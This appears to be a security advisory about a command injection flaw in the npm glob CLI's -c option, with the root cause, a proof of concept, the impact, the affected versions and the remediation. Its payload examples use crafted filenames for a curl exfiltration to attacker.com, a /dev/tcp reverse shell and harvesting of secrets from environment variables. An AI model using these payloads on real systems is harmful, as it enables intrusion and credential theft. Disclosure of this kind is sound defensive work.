"details": "### Summary\n\nThe glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`:\n\n```javascript\nstream.on('end', () => foregroundChild(cmd, matches, { shell: true }))\n```\n\n**Technical Flow:**\n1. User runs `glob -c <command> <pattern>` \n2. CLI finds files matching the pattern\n3. Matched filenames are collected into an array\n4. Command is executed with matched filenames as arguments using `shell: true`\n5. Shell interprets metacharacters in filenames as command syntax\n6. Malicious filenames execute arbitrary commands\n\n**Affected Component:**\n- **CLI Only:** The vulnerability affects only the command-line interface\n- **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected\n- **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems)\n\n**Attack Surface:**\n- Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc.\n- Any directory where attackers can control filenames (PR branches, archives, user uploads)\n- CI/CD pipelines using `glob -c` on untrusted content\n\n### PoC\n\n**Setup Malicious File:**\n```bash\nmkdir test_directory && cd test_directory\n\n# Create file with command injection payload in filename\ntouch '$(touch injected_poc)'\n```\n\n**Trigger Vulnerability:**\n```bash\n# Run glob CLI with -c option\nnode /path/to/glob/dist/esm/bin.mjs -c echo \"**/*\"\n```\n\n**Result:**\n- The echo command executes normally\n- **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell\n- A new file `injected_poc` is created, proving command execution\n- Any command can be injected this way with full user privileges\n\n**Advanced Payload Examples:**\n\n**Data Exfiltration:**\n```bash\n# Filename: $(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" > /dev/null 2>&1)\ntouch '$(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" > /dev/null 2>&1)'\n```\n\n**Reverse Shell:**\n```bash\n# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)\ntouch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'\n```\n\n**Environment Variable Harvesting:**\n```bash\n# Filename: $(env | grep -E \"(TOKEN|KEY|SECRET)\" > /tmp/secrets.txt)\ntouch '$(env | grep -E \"(TOKEN|KEY|SECRET)\" > /tmp/secrets.txt)'\n```\n\n### Impact\n\n**Arbitrary Command Execution:**\n- Commands execute with full privileges of the user running glob CLI\n- No privilege escalation required - runs as current user\n- Access to environment variables, file system, and network\n\n**Real-World Attack Scenarios:**\n\n**1. CI/CD Pipeline Compromise:**\n- Malicious PR adds files with crafted names to repository\n- CI pipeline uses `glob -c` to process files (linting, testing, deployment)\n- Commands execute in CI environment with build secrets and deployment credentials\n- Potential for supply chain compromise through artifact tampering\n\n**2. Developer Workstation Attack:**\n- Developer clones repository or extracts archive containing malicious filenames\n- Local build scripts use `glob -c` for file processing\n- Developer machine compromise with access to SSH keys, tokens, local services\n\n**3. Automated Processing Systems:**\n- Services using glob CLI to process uploaded files or external content\n- File uploads with malicious names trigger command execution\n- Server-side compromise with potential for lateral movement\n\n**4. Supply Chain Poisoning:**\n- Malicious packages or themes include files with crafted names\n- Build processes using glob CLI automatically process these files\n- Wide distribution of compromise through package ecosystems\n\n**Platform-Specific Risks:**\n- **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing\n- **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL\n- **Mixed Environments:** CI systems often use Linux containers regardless of developer platform\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** glob\n- **Component:** CLI only (`src/bin.mts`)\n- **Affected versions:** v10.3.7 through v10.4.5 and v11.0.0 to v11.0.3 (and likely later versions until patched)\n- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd` option)\n- **Patched versions:** 11.1.0, 10.5.0\n\n**Scope Limitation:**\n- **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe\n- **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable\n\n### Remediation\n\n- Upgrade to `
[email protected]`, `
[email protected]`, or higher, as soon as possible.\n- If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead.\n- As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but ensure that no untrusted contents can possibly be encountered in the file path results.",
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